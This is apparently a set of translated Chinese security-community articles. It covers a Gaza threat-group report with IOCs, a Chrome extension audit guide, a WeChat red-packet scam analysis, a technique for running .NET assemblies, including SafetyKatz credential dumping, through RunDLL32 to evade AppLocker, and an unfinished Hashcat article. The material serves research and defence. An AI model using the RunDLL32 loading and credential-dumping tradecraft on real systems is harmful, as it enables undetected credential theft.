Word可以运行远程文件（本文样本所使用的远程地址为138.68.242[.]68）。下载的载荷为Cobaltstrike，这个载荷随后会连接到lol.mynetav[.]org来接收攻击者发出的命令。有关Gaza组织如何使用CVE
2017-0199以及Cobaltstrike工具的更多细节，请参考360公布的[这篇文章](http://bobao.360.cn/learning/detail/4193.html)。
**4.4 可能使用过的Android移动恶意软件**
从2017年4月23日起，我们在某个攻击者的命令控制服务器上看到过APK文件的踪迹。
URL地址：http://alasra-paper.duckdns[.]org/send/%D9%88%ket-Edition-1.04_ApkHouse[.]com/Dont-Starve-Pocket-Edition-1.04_ApkHouse[.]com.apk
攻击者把文件名（Dont-Starve-Pocket-Edition-1.04_ApkHouse[.]com.apk）伪装成一款流行的Android游戏应用。我们认为这款Android木马可能与之前Gaza所使用的Android木马有关，请参考之前的调查报告。
**五、总结**
Gaza网络犯罪组织向我们展示了他们所使用的大量攻击及高级社会工程学技巧，相关的攻击技巧、基础设施也在不断改进，同时他们也会使用各种新的方法及技术。攻击者会不断改进所使用的工具集，以尽量减少被安全产品及服务检测到的风险。卡巴斯基实验室认为近期内这类攻击在数量上和质量上都会有所提升。
为了保护您的公司免受此类恶意软件的影响，卡巴斯基实验室研究人员建议您采取以下措施：
1、培训员工，让员工能够正确区分钓鱼邮件、钓鱼链接与正常的邮件及链接。
2、将成熟的企业级安全解决方案与带有网络异常分析功能及攻击行为捕获功能的反针对性攻击解决方案结合使用。
3、向安全人员提供最新的威胁情报数据，为他们提供实用工具（如IOC特征以及YARA规则），以防御及检测针对性攻击行为。
4、确保企业级补丁管理流程已妥善建立并严格执行。
卡巴斯基情报报告服务会向客户提供有关Gaza组织的更多信息，请联系[email protected]咨询相关服务。
**六、附录一：恶意软件及钓鱼样本**
我们会在这里列出从2017年3月起发现的相关恶意软件，包括攻击者使用过的钓鱼样本、样本首次发现时间、上级压缩文件等。
**6.1 b7390bc8c8a9a71a69ce4cc0c928153b**
压缩文件：970e6188561d6c5811a8f99075888d5f 5-4-2017.zip
C2地址：moreoffer[.]life
首次发现时间：2017年4月5日
**6.2 f43188accfb6923d62fe265d6d9c0940**
文件名：Gcc-Ksa-uae.exe
C2地址：moreoffer[.]life （185.11.146[.]68）
首次发现时间：2017年3月21日
**6.3 056d83c1c1b5f905d18b3c5d58ff5342**
文件名：مراسلة بخصوص اجتماع رؤساء البعثات.exe
上级文件：fb549e0c2fffd390ee7c4538ff30ac3e
C2地址：moreoffer[.]life
首次发现时间：2017年3月16日
**6.4 0ee4757ab9040a95e035a667457e4bc6**
文件名：27-4-2017 Fateh Gaza plo.exe
C2地址：signup.updatesforme[.]club
首次发现时间：2017年4月27日
**6.5 7bef124131ffc2ef3db349b980e52847**
文件名：الأخ اسماعيل هنية -نائب رئيس المكتب السياسي .exe
C2地址：ping.topsite[.]life
首次发现时间：2017年3月14日
**6.6 70d03e34cadb0f1e1bc6f4bf8486e4e8**
download-file.duckdns[.]org/send/Egyptian_agreement_with_President_Mahmoud_Abbas.exe
托管地址1：download-file.duckdns[.]org
托管地址2：ping.topsite[.]life
首次发现时间：2017年3月30日
**6.7 67f48fd24bae3e63b29edccc524f4096**
托管地址1：http://alasra-paper.duckdns[.]org/send/رسالة_وفد_الرئيس ابومازن_لحماس_في
قطاع_غزة.rar
托管地址2：ping.topsite[.]life
RAR释放后MD5值：5d74487ea96301a933209de3d145105d
文件名：رسالة_وفد_الرئيس ابومازن_لحماس_في قطاع_غزة.exe
首次发现时间：2017年4月17日
**6.8 7b536c348a21c309605fa2cd2860a41d**
托管地址1：http://alasra-paper.duckdns[.]org/send/ورقة_الاسرى_المقدمة_لفك_الاضراب
.rar
释放后的MD5值：d973135041fd26afea926e51ce141198
文件名：ورقة الاسرى المقدمة لفك الاضراب .exe（使用了RTLO特殊字符技术）
托管地址2：ping.topsite[.]life
首次发现时间：2017年4月17日
**6.9 cf9d89061917e9f48481db80e674f0e9**
文件名：وثائق تنشر لأول مره عن حكم حماس لقطاع غزه .exe
MD5值：c11516cd8c797f0182d63cdf343d08ed
托管地址1：[http://hamas-wathaq.duckdns[.]org/send/وثائق_تنشر_لأول_مره_عن_حكم_حماس_لقطاع_غزه.rar](http://hamas-wathaq.duckdns%5B.%5Dorg/send/%D9%88%D8%AB%D8%A7%D8%A6%D9%82_%D8%AA%D9%86%D8%B4%D8%B1_%D9%84%D8%A3%D9%88%D9%84_%D9%85%D8%B1%D9%87_%D8%B9%D9%86_%D8%AD%D9%83%D9%85_%D8%AD%D9%85%D8%A7%D8%B3_%D9%84%D9%82%D8%B7%D8%A7%D8%B9_%D8%BA%D8%B2%D9%87.rar)
托管地址2：ping.topsite[.]life
首次发现日期：2017年4月16日
**七、附录二：IOC特征**
**7.1 恶意域名**
moreoffer[.]life
signup.updatesforme[.]club
ping.topsite[.]life
alasra-paper.duckdns[.]org
hamas-wathaq.duckdns[.]org
download.data-server.cloudns[.]club
upgrade.newshelpyou[.]com
manual.newphoneapp[.]com
hnoor.newphoneapp[.]com
lol.mynetav[.]org
**7.2 IP地址**
138.68.242[.]68
185.86.149[.]168
185.11.146[.]68
45.32.84[.]66
45.32.71[.]95
107.161.27[.]158
46.246.87[.]74
**7.3 哈希值**
**1、MD5哈希值**
87a67371770fda4c2650564cbb00934d
4f3b1a2088e473c7d2373849deb4536f
c078743eac33df15af2d9a4f24159500
3ff60c100b67697163291690e0c2c2b7
a3de096598e3c9c8f3ab194edc4caa76
7d3426d8eb70e4486e803afb3eeac14f
3f67231f30fa742138e713085e1279a6
552796e71f7ff304f91b39f5da46499b
6fba58b9f9496cc52e78379de9f7f24e
eb521caebcf03df561443194c37911a5
b68fcf8feb35a00362758fc0f92f7c2e
d87c872869023911494305ef4acbd966
66f144be4d4ef9c83bea528a4cd3baf3
B7390bc8c8a9a71a69ce4cc0c928153b
F43188accfb6923d62fe265d6d9c0940
056d83c1c1b5f905d18b3c5d58ff5342
0ee4757ab9040a95e035a667457e4bc6
7bef124131ffc2ef3db349b980e52847
70d03e34cadb0f1e1bc6f4bf8486e4e8
67f48fd24bae3e63b29edccc524f4096
7b536c348a21c309605fa2cd2860a41d
cf9d89061917e9f48481db80e674f0e9
6d6f34f7cfcb64e44d67638a2f33d619
86a89693a273d6962825cf1846c3b6ce
5472d0554a0188c0ecebd065eddb9485
**2、SHA256哈希值**
0b6fe466a3ba36895208e754b155a193780c79ba8b5c1c9f02c4f7e479116e5f
0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a
0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa
1f2b128d26a58a572ea1faee2c4d9dc759eb8add16d9ad0547b3f0305fea212a
205f32cc717c2d82baeff9ff5aa9fc31967b6ae5cde22fafe14aec9c9ec62acc
284af7a2fafdbff3bbc28b9075f469d2352758b62d182b0e056d29ee74688126
344dc6ece5a6dacce9050a65305d4b34865756051a6f414477b6fa381e1c1b63
42e4298f5162aba825309673187e27121e3f918238e81f3a6e021c03f3455154
44a8d0561a9cc6e24d6935ff4c35b7b7db50c4001eb01c48ea1cfd13253bc694
57a12f20c6bbd69b93e76d6d5a31d720046b498aa880b95b85a4f3fda28aac4f
72b039550d31afaeee11dedf7d80333aeda5c504272d426ae0d91bc0cd82c5b0
72d2ad8f38e60c23c96698149507fc627664a5706a4431b96014fbf25495b529
788f7fd06030f87d411c61efbc52a3efca03359570353da209b2ce4ccf5b4b70
7fcac2f18a8844e4af9f923891cfb6f637a99195a457b6cdb916926d709c6a04
84adba3c81ad1c2a8285c31d1171f6f671492d9f3ed5ee2c7af326a9a8dc5278
852ccc491204f227c3da58a00f53846296454d124b23021bdb168798c8eee2fb
86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806
9347a47d63b29c96a4f39b201537d844e249ac50ded388d66f47adc4e0880c7e
b597d7b5b9c2f1962257f912e911961ad0da4c28fc6a90a0b7db4e242aa007d8
bfb88878a22c23138a67cc25872e82d77e54036b846067ddc43e988c50379915
c23f715c8588c8d8725352ed515749389d898996107132b2d25749a4efc82a90
c47bc2c15f08655d158bb8c9d5254c804c9b6faded526be6879fa94ea4a64f72
db53b35c80e8ec3f8782c4d34c83389e8e9b837a6b3cc700c1b566e4e4450ec2
dd9debe517717552d7422b08a477faa01badbcc4074830c080a1a1c763e1a544
b800d29d6e1f2f85c5bc036e927c1dae745a3c646389599b0754592d76b5564b | 社区文章 |
* * *
本文翻译自: <https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/>
* * *
### **浅析Chrome扩展程序安全的优先级**
Chrome的扩展安全性和用于审计Chrome扩展漏洞的方法似乎是一项令人震惊的现有技术话题。特别是与其他平台相比，如[Electron，它已对该话题开展了进一步地研究](https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf)。在互联网上搜索到的用来审核Chrome扩展程序的指南和工具的数量少之又少，只有一篇用来[描述Chrome扩展程序安全模型的学术论文](http://101.96.10.64/webblaze.cs.berkeley.edu/papers/Extensions.pdf)和2013年的一篇博客文章：[在易受攻击的扩展程序中展示XSS漏洞](https://resources.infosecinstitute.com/owned-by-chrome-extensions/)。其他搜索结果似乎已经过时了，例如[Chrome扩展指纹识别指南](http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html)，这个指南已不再适用于新的Chrome扩展程序。
当然，并不是说Chrome扩展程序中的安全问题没有被发现或者说特别罕见。比如比较具有代表性的例子——Reddit增强套件（RES）扩展程序中的跨站点脚本（XSS）漏洞。有关这个漏洞的详细摘要，请参阅[文章](https://blog.saynotolinux.com/blog/2014/04/12/spooky-sanitizer-stories-analyzing-the-reddit-enhancement-suite-xss-flaw/)，
而且目前该扩展程序目前已有150万用户。
这个例子并不算是最糟糕的情况，因为这个XSS漏洞是在扩展的[Content
Script（内容脚本）](https://developer.chrome.com/extensions/content_scripts)中而不是在[Background
Page（后台页面）](https://developer.chrome.com/extensions/background_pages)中（本指南将深入讨论其间差异）。简而言之：后台页面（可访问所有特权扩展API的页面）中的漏洞比任何常规XSS漏洞都要糟糕得多。它造成了让攻击者有滥用[扩展声明的任何API](https://developer.chrome.com/extensions/api_index)的能力，可以冒充成受害者访问所有网站，修改/编辑浏览器的书签，历史记录等信息的能力。例如，Steam
Inventory
Helper扩展程序存在[在后台页面的内容中执行任意的JavaScript](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/index-2.html)的漏洞，从而让它们可以在已经认证了它们的网站上劫持受害者的所有账户信息。
鉴于Chrome浏览器及其扩展有着令人难以置信的受欢迎程度，因此仔细研究这个平台可能发生的安全隐患很有价值的。这篇指南尝试概述扩展程序的安全反模式，并为开发人员和安全研究人员在审核Chrome扩展程序时提供可靠的服务（[tarnish](https://thehackerblog.com/tarnish/index.html)）。
在深入了解Chrome扩展程序中的安全反模式之前，首先要先了解下这些扩展程序的结构。直截了当地说：Chrome的开发人员已经把很多注意力放在了扩展安全和不安全的反模式上。他们的架构非常清晰，正如我将在下面讨论的，其中很多都是以构建开发人员无法轻松攻破自己的环境为核心思想设计的。在这个我们拥有[Electron](https://github.com/electron/electron/blob/master/docs/tutorial/security.md)和[NW.js](https://github.com/nwjs/nw.js/issues/1672#issuecomment-37111567)等平台的时代，它似乎有意将跨站点脚本（XSS）的系统性问题带到桌面，并将其全部转换为远程执行代码执行（RCE）而没有采取任何保护措施;Chrome的扩展环境是另一个不稳定因素。即使Chrome扩展程序无法执行任意一个系统命令，但它们仍然非常谨慎，以确保开发人员想出错都是很特别困难的。
### 独立而活跃的领域
#### 免责声明
本节将详细介绍Chrome扩展程序的运行方式。如果您已经熟悉这一点，那么您可以直接跳转到“[偷窥扩展程序中未被污染的安全反模式](https://xz.aliyun.com/t/2717#toc-0)”部分。哪怕您曾经开发过Chrome的扩展程序，但阅读这部分内容也可以当作是复习。
### 拓展程序基本布局-home中的manifest.json
Chrome扩展程序的文件结构实际上非常简单。Chrome扩展本质上是一个文件扩展名为.crx的压缩文件夹，扩展的核心是文件夹根目录下的manifest.json文件，该文件指定布局、权限和其他配置选项。而且理解[manifest.json格式](https://developer.chrome.com/extensions/manifest)对于审核安全漏洞的扩展是至关重要的。扩展的所有路径都是相对于manifest.json所在的基础位置。因此，如果您在根目录中有一个名为example.jpg的图像，它将位于chrome-extension://[EXTENSION_ID]/example.jpg （extension
ID为Chrome扩展私钥的base32编码的SHA256哈希值）。
#### **扩展体系结构，命名空间隔离和DOM**
Chrome扩展程序的工作方式在怎么利用它们的方面存在很大差异，其中大部分实际上在我之前的[学术论文](http://webblaze.cs.berkeley.edu/papers/Extensions.pdf)链接中有简述，但我会在这里深入研究它，因为论文已经有点过时了。
可视化的Chrome扩展程序布局一目了然：
上图显示了Chrome扩展程序的不同部分。每个彩色框都是一个单独的JavaScript变量命名空间。单独的变量命名空间意味着如果您在JavaScript中声明了一个变量，如下所示:
var test = 2 ;
这个变量只能在自己的命名空间中访问（不同颜色的框不能直接访问彼此的变量）。例如，如果这是后台页面中的变量，则无法从内容脚本或网页中访问它。对于内容脚本声明的变量也是如此，后台页面或网页无法访问它们。这种沙箱可防止恶意网页干扰正在运行的内容脚本或扩展程序的后台页面，因为它无法访问或更改任何变量或函数。
#### **Chrome扩展中的同源策略（SOP）**
如果你了解[同源策略](https://en.wikipedia.org/wiki/Same-origin_policy)在Chrome扩展中是如何运用的，那么这种分离的意义就非常容易理解了。每个Chrome扩展程序都有自己的来源，格式如下：
chrome-extension://[32_CHAR_EXTENSION_ID]
这意味着Chrome扩展程序API可以访问属于此来源的任何资源。这种原始结构很有意义，因为所有Chrome扩展程序的资源都位于chrome-extension://[32_CHAR_EXTENSION_ID]/ 目录中。
当我们讨论后台页面和[浏览器操作页面](https://developer.chrome.com/extensions/browserAction)时，所有的这些都在chrome-extension://[32_CHAR_EXTENSION_ID] 源目录中执行。示例如下：
chrome-extension://[32_CHAR_EXTENSION_ID]/index.html
chrome-extension://[32_CHAR_EXTENSION_ID]/example.html
这两个页面都可以访问彼此的DOM和JavaScript命名空间，因为它们具有相同的来源。请注意，这意味着在通过[iframe
contentWindow](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/contentWindow)或[window.opener](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener)进行访问时，每个后台页面的变量命名空间不会以任何全局方式彼此之间进行共享（除了[多个后台页面脚本](https://developer.chrome.com/extensions/background_pages)在运行时被整合到一个后台页面的情况）。您可以通过在Chrome中启用开发者模式来查看和调试后台页面。
内容脚本的工作方式略有不同，它们在其[作用范围内](https://developer.chrome.com/extensions/match_patterns)操作网页的来源。因此，如果您在<https://example.com>
上运行内容脚本，则其有效来源就为<https://example.com> 。这意味着它可以执行一些操作，诸如和<https://example.com>
的DOM进行交互，添加事件侦听器以及执行XMLHTTPRequest以检索此来源的网页等。但是，它不能修改相应扩展的后台页面的DOM，因为它们的来源是不一样的。话虽如此，内容脚本确实有更多的权限，可以向后台页面发送消息，并调用一些[有条件限制的Chrome扩展API](https://developer.chrome.com/extensions/content_scripts#capabilities)。这是很怪异的设置，因为感觉就像是即使它们仍然共享一个DOM，但你的内容脚本和你的网页也会由于命名空间隔离而在单独的“pages”中运行。如果想要在Chrome中查看内容脚本并对其进行调试的话，您可以通过点击
选项>更多工具>开发者工具，然后弹出Chrome开发者工具菜单，显示开发人员工具后，单击“源”选项卡，然后单击子选项卡“内容脚本”。在这里，您可以看到各种扩展运行的内容脚本，并可以设置断点来监视执行的流程：
我审核Chrome扩展程序所花的时间大部分都在上面的Chrome开发人员面板上，即设置断点并执行。
#### 通过注入和消息传递来跨越障碍
然而，尽管命名空间分离，但Chrome扩展程序仍有足够的空间来完成自己的工作。例如，假设内容脚本需要检索网页命名空间中定义的变量的值，虽然它无法直接访问网页的命名空间，但它可以访问网页的DOM并向其中注入新的脚本标签(`<script>`)。然后，这个注入的脚本标签将在网页的命名空间中执行，并且可以访问它的变量。获取变量后，注入的脚本可以通过postMessage()函数将值传递回内容脚本。这是通过在父“网页的DOM”框中包含内容脚本和网页来显示的，它们都可以访问网页的DOM但是无法访问彼此的名称空间。下图演示了从网页中抓取变量并将其传递回内容脚本的流程：
在Chrome扩展审计过程中，重要的事情之一就是了解这些独立的领域之间是如何协同工作的。答案是(主要)通过消息传递。在Chrome扩展程序中，有几种不同的方式可以传递消息，例如[chrome.runtime.sendMessage()](https://developer.chrome.com/extensions/runtime#method-sendMessage)用于将消息从内容脚本发送到后台页面，或者[window.addEventListener()](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener)用于将消息从网页传递到内容脚本。从安全角度来看，每当消息从较低特权空间中传递到较高特权空间时（例如，从内容脚本到后台页面的消息），通过非预期的输入获取可能的利用途径。因此消息传递的范围必须正确合理，以确保敏感数据不会被发送到非预期的来源。对于[postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)，就不能使用通配符“*”来发送消息，因为任何带有引用窗口的网页都可能监听它们。
#### Web可访问资源和导航阻塞
似乎命名空间隔离还不够，Chrome扩展资源还加了另外一层保护。默认情况下，Chrome扩展程序中的文件不能通过iframed、sourced或者是其他的方式包含网络上的常规网页。因此，<https://example.com>
可能无法使用chrome-extension://pflahkdjlekaeehbenhpkpipgkbbdbbo/test.html
。然而，Chrome的扩展API却允许你通过使用扩展清单中的`web_accessible_resources`指令来声明这些资源，进而放宽这一限制条件。如果您希望常规网页可以包含扩展程序中的JavaScript，图像或者其他的资源，那么这个功能将非常重要。从安全角度来看，这个问题的缺点在于，任何设置了该标志的HTML页面都可以通过[clickjacking(点击劫持)](https://www.owasp.org/index.php/Clickjacking)，将恶意的输入传递到`location.hash`，通过postMessage()传递非预期的消息，或者通过非预期的顺序来嵌入和运行后台页面。所以，开发人员使用这个指令对大量资源进行通配是很危险的。此外，如果Chrome扩展程序通过这个指令公开所有的内容，Internet上的所有网页都可以使用这些可溯源的资源来指纹识别用户运行的特定扩展程序，这在开发和一般的网络跟踪中都有很多的用途。
#### 后台页面和内容安全策略
后台页面在各种领域中具有最高权限，因为它可以调用扩展程序[清单](https://developer.chrome.com/extensions/manifest)中声明的所有Chrome扩展API。这些API是扩展程序功能强大的核心，能够进行[管理cookie，书签，历史记录，下载，代理设置等操作](https://developer.chrome.com/extensions/api_index)。鉴于这些页面的强大性质，Chrome要求开发人员以[特定的最小要求](https://developer.chrome.com/extensions/contentSecurityPolicy#restrictions)声明[内容安全策略](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)（CSP）。默认情况下的Chrome扩展程序文档声明的策略如下：
script-src 'self'; object-src 'self'
这是正确的，但值得一提的是，默认策略实际上是（您可以使用Chrome开发人员工具的网络面板自行验证）：
script-src 'self' blob: filesystem: chrome-extension-resource:; object-src 'self' blob: filesystem:;
上述的策略略微宽松，以允许一些常规的JavaScript操作，例如创建blob:
URIs、和文件系统交互。当然，开发人员经常会看到这个默认策略，并对它的严格程度感到很反感。这种反感经常会促使开发人员尝试尽可能地放宽CSP以便“使其工作”。Chrome团队预料到了这种危险，并附加了额外的要求，以防止开发人员让他们的CSP变得过于宽松。因此，无法在Chrome扩展程序CSP中使用‘unsafe-inline（不安全内联）’的源代码（[
保留带有nonce的script](https://developer.chrome.com/extensions/contentSecurityPolicy#relaxing-inline-script) ）。这意味着开发人员永远不会使用类似于以下的内联 JavaScript 执行：
Name: <input onfocus=”example()” name=”test” />
…
<a href=”javascript:example()”>Click to start</a>
…
<script>alert(“Welcome!”)</script>
虽然这对于已经习惯了这种Web开发风格的开发人员来说很痛苦，但就其安全优势而言，作用不可估量。在这个过程中，Chrome使开发人员在其后台页面中编写跨站点脚本（XSS）漏洞变得更加困难。据我审核了数不胜数的Chrome扩展程序的经验来看，这是一个完全可利用的漏洞中唯一存在的缓解因素。此外，值得一提的是，这个要求通常会迫使开发人员用更简洁明了的方式来编写扩展程序，因为他们必须将视图和核心逻辑分开。
但是，您仍然会犯很多您在CSP中看到的常见错误。开发人员会（并且经常）将‘unsalf-eval’添加
到他们的CSP，并经常使用通配符CDN，并且任何人都可以上传其他来源的源脚本。这一系列操作通常让攻击者绕过CSP的所有保护措施有机可乘。
[突破限制—一份安全编写和审计Chrome扩展程序的指南(下)](https://xz.aliyun.com/t/2717) | 社区文章 |
# “分享朋友圈领百元红包”，这波“福利”你赶上了吗？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，微信朋友圈被诱导分享“领红包”的消息刷屏了，如“海底捞两亿生活补贴”“新婚福利红包”等。用户进入链接后点击领取后，便能抽中百元大红包，但是领取需要多次分享，“反正也不需要填写个人信息，分享就分享吧，万一是真的呢？！”于是上演了微信群和朋友圈刷屏的现象。
通过搜索数据发现，此类信息达38万余条，说明收到此类信息的人群不在少数，且大家也无法判断真伪，转而通过网络搜索辅助验证。
然而，正常抢红包流程不应该是抢到即赚到吗？卫士妹给大家扒一扒这里面的猫腻……
#
## “红包”真伪鉴定
早在19年，海底捞官博就发过辟谣声明，类似“海底捞派发现金红包”情况为假冒，目的是要盗取用户个人信息。
同时，从监控的黑灰产渠道市场发现源码售卖，服务说明中提到了”可以强制分享两次朋友圈、三个群，分享成功后自动跳转到你的广告页面，访客点击返回跳转广告页面“。
由此可见， **真相是黑灰产人员假冒海底捞的名义，制作虚假的红包链接** ，用户在访问过程中，诱导分享后返回时，多次跳转到兼职广告、色情小说等广告页面。
根据微信安全中心的数据，此类推广目前集中在以下10种类型：
但以上的手法2019就出现了，2021年在全民反诈的背景下，微信对诱导分享行为严格查杀，为什么这个链接还能存活一定时间而未被拦截呢？必定有更值得探究的秘密……
提取虚假的“海底捞现金红包”页面链接的URL过程发现，由于微信客户端的限制，在微信聊天界面点击网址，在页面完全加载完毕后，无法使用页面下滑的方式查看到页面对应的URL，且无法通过分享的方式复制URL。但可以看到点击分享后，微信提示“网页由v****.com.cn提供”，域名含有备案信息，似乎不太符合黑灰产人员攻防习惯（黑灰产人员多使用未备案域名）。
通过技术手段深度解析发现，跳转过程涉及多次页面跳转，且所有域名均为备案域名。经过梳理，发现其主要利用多个备案域名的URL多次跳转后进入最终的红包界面，因此，微信用户仅能看到跳转过程中展示的域名，而非最终落地URL。目前，此类技术多被黑灰产人员用作域名“防洪”，并已衍生出对应的域名“防洪”产业。
## 安安课堂
1、需要分享朋友圈才能领取的“红包”，目的就是诱导关注营销公众号或者垃圾广告。
2、不要点开陌生链接，小心手机被安装木马病毒而导致金融账户被盗刷。
3、需要填写详细的个人信息才能领取的“红包”，绝对有诈！骗子通过信息掌握你的个人情况和关系网络，便可针对性实施诈骗。 | 社区文章 |
# 如何利用RunDLL32调用.NET Assembly
原文链接：<https://blog.xpnsec.com/rundll32-your-dotnet/>
## 0x00 简介
如果大家一直在跟踪渗透测试方面的走向，可以看到现在主流后渗透工具已经从Powershell转移到.NET框架。
由于AMSI、CLM和ScriptBlock日志记录的存在，Powershell环境变得越来越严格，工具开发人员现在开始转而使用C#作为恶意软件和后渗透工具的开发语言。
在本文中，我想与大家分享一种实用技术，虽然这种技术对.NET开发人员来说并不新鲜，但可能有助于红方人员制作他们的拿手工具。具体一点，我想介绍如何导出DLL中的.NET静态方法，也就是说如何使用`RunDLL32`来启动我们的.NET程序集（assembly）。
## 0x01 托管DLL导出：繁琐版
在攻击过程中使用的许多工具和技术都依赖于攻击者制作的DLL。 如果查看Oddvar的[LOLBAS](https://lolbas-project.github.io/#)项目，可知我们可以利用许多方法来执行任意DLL，由于启用DLL规则后，AppLocker会警告用户系统性能会有所下降，因此我们经常看到这些工具能够在软件限制策略下隐蔽执行。
在.NET环境中，通常我们遇到的是类assembly，而不是许多工具能够直接使用的DLL。
.NET类assembly无法提供类似`RunDLL32`等工具所需的导出表信息，以便这些工具来引用其内部方法。
但事实证明，我们有办法能够让兼顾两者，兼得鱼和熊掌。这里我们可以使用`.export`。
首先我们来看一段简单的C#代码，该代码用来弹出一个消息框：
namespace Test
{
public class TestClass
{
public static void TestMethod()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
将其编译为.NET assembly后，我们可以使用Microsoft的`ildasm`工具来查看构成可执行文件的中间语言：
这个工具还提供了一些命令行选项，可以将我们的代码反汇编成直观的`.il`文件：
ildasm.exe /out:TestUnmanaged.il TestUnmanaged.dll
现在我们有了与C#对应的中间语言，我们可以使用`.export`描述符标记静态方法，该描述符可以告诉汇编器在创建的DLL中创建导出信息，例如：
.class public auto ansi beforefieldinit Test.TestClass
extends [mscorlib]System.Object
{
.method public hidebysig static void TestMethod() cil managed
{
.export [1] // <--- Magic export descriptor
.maxstack 8
IL_0000: nop
IL_0001: ldstr ".NET Assembly Running"
IL_0006: call valuetype [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(string)
IL_000b: pop
IL_000c: ret
} // end of method TestClass::TestMethod
这里我们导出了`TestMethod`方法，序号为`1`。该步骤完成后，我们需要使用以下命令将`ilasm`重新编译为.NET类assembly：
ilasm.exe TestUnmanaged.il /DLL /output=TestUnamanged.dll
现在如果分析我们生成的DLL文件，观察其导出表，我们可以看到如下信息：
如果尝试使用`RunDll32.exe`调用该DLL，结果如下所示：
此外我们还可以看到，在调用我们的静态方法时，CLR会被加载到进程中，这样我们就能在之前的非托管进程中使用.NET框架的全部功能：
这样Windows加载器已经帮我们做了许多繁杂的工作，现在我们有一种很好的方法可以将CLR注入非托管进程，这有点类似于Cobalt
Strike的`execute-assembly`所使用的传统COM方法（请参阅我之前关于绕过AppLocker的一篇[文章](https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)，介绍了这种COM方法的工作原理）。
但这种技术真的拓宽了`RunDLL32`的使用场景吗？我们来构造一个非常简单的DLL加载器，使用C语言编写，用来加载我们的.NET DLL：
#include <Windows.h>
typedef void(*TestMethod)();
int main()
{
HMODULE managedDLL = LoadLibraryA("TestUnmanaged.dll");
TestMethod managedMethod = (TestMethod)GetProcAddress(managedDLL, "TestMethod");
managedMethod();
}
在程序执行时，我们可以看到`clr.dll`再次被加载到我们的非托管进程中：
并且我们的.NET方法也能正常执行：
显然，这意味着我们可以将.NET assembly远程注入流程（例如使用Win32 `CreateRemoteThread`调用来实现）。
现在让我们选择默认情况下没有加载.NET CLR的目标，如`iexplore.exe`：
如果我们观察已加载的DLL，还是可以看到我们的DLL被成功加载。
## 0x02 托管DLL导出：快速版
通过前文对底层过程的分析，了解其工作原理后，我们可以做些什么使这个过程对开发人员更加友好？
如果我们只是想面对C#，不想涉及`ilasm`，那么这个是用我们可以使用`DllExport`。
`DllExport`是Denis
Kuzmin开发的一个项目（也就是3F），大家可以访问[Github页面](https://github.com/3F/DllExport)下载该项目。
开发人员的体验可能没那么好，这主要是因为该项目提供了修改项目以支持具体的一个管理器（Manager），但一旦我们知道该工具的具体工作原理，那么就可以轻松在Visual
Studio中复现相关方法。
首先，我们使用正常步骤，通过NuGet包来安装`DllExport`，可以看到如下对话框：
此时，系统会提示我们在继续前进之前删除NuGET包。
删除后，我们可以在项目中看到名为`DllExport_Configure.bat`的一个`.bat`文件，该文件用来打开`.NET DLLExport
Manager`，提供了许多选项来配置我们的项目，导出非托管DLL：
完成该过程后，现在我们可以访问`[DllExport]`属性。 这里我们使用前面的示例代码，然后可以使用以下方法导出静态方法：
namespace Test
{
public class TestClass
{
[DllExport]
public static void TestMethod()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
然后编译我们的项目：
现在我们已经有一个很不错的方法，可以在我们的类assembly中添加导出函数，接下来让我们看看这种方法是否适用于更成熟的东西，比如harmj0y的[SafetyCatz](https://github.com/GhostPack/SafetyKatz)工具。
添加`DllExport` NuGet之后，我们需要稍微调整源代码才能使其正常工作。
首先，我们需要修改`static void Main(string[]
args)`的入口点，改成我们DLL的导出函数`RunSafetyCatz`，如下所示：
[DllExport]
static void RunSafetyCatz()
{
string[] args;
if (!IsHighIntegrity())
{
Console.WriteLine("\n[X] Not in high integrity, unable to grab a handle to lsass!\n");
}
...
完成该步骤后，我们需要将输出类型更新为`Class Library`：
现在，可以使用`RunDLL32.exe`来测试以DLL方式调用`SafetyCatz`：
如果大家希望控制台的输出结果如上图所示，就需要使用Win32的`AttachConsole(-1)`调用，这部分工作留给大家来完成。
现在我们已经拥有了在非托管进程中加载.NET assembly的一种好方法。
如果时间充裕，我想更深入了解Windows的加载器，澄清这种技术为何能够行之有效。 如果大家已经完成了这个练习，想分享自己的成果，请随时与我联系。 | 社区文章 |
# 【技术分享】使用Hashcat破解汉语、韩语、以及俄语等非英语密码
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
稿费：500RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
近期闲来无事，在网上看安全新闻的时候突然看到了密码破解神器Hashcat发布了v3.10版本。于是我便点进去看看Hashcat又添加了什么新的功能，让我惊讶的是，Hashcat现在已经支持Mac
OS X平台了。一翻更新日志才发现，原来Hashcat在v3.0.0版本时就已经新增了对OS
X平台的支持，而我自从苦逼地凑钱买了一台rmbp之后，就基本上没有再碰过Hashcat了。
**
**
**直奔主题**
现在很多网站都会将用户密码的md5值直接存储在数据库中，而目前几乎所有的字典文件都是基于拉丁字符生成的，例如A-Z、a-z、0-9、以及各种特殊字符等等。而根据调查发现，有很多的用户已经开始使用各种非英语字符的密码了。这也就意味着，此前很多基于字典规则的攻击方式已经不再适用了。
